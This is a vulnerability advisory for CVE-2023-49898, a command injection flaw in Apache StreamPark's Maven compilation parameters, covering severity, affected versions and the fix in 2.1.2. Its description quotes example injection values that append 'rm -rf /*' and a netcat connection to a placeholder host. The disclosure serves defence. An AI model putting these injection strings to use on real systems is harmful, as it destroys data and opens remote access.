CVE-2023-49898: Apache StreamPark (incubating): Authenticated system users could trigger remote command execution

Severity: high (CVSS 7.2 v3.1)
Exploited in the wild: not listed in CISA KEV
EPSS: 2.3% probability of exploitation in the next 30 days
Public exploit or detection template: none known
Published: 2023-12-15 · updated 2026-06-17
Weakness: CWE-77

Description

In streampark, there is a project module that integrates Maven's compilation capability. However, there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low. Mitigation: all users should upgrade to 2.1.2 Example: ##You can customize the splicing method according to the compilation situation of the project, mvn compilation results use &&, compilation failure use "||" or "&&": /usr/share/java/maven-3/conf/settings.xml || rm -rf /* /usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &

Affected products

Apache Software Foundation Apache StreamPark: from 2.0.0 before 2.1.2 — fixed in 2.1.2

How to fix

Upgrade to a fixed version: Apache Software Foundation Apache StreamPark 2.1.2. Check the vendor advisory for mitigations.

References

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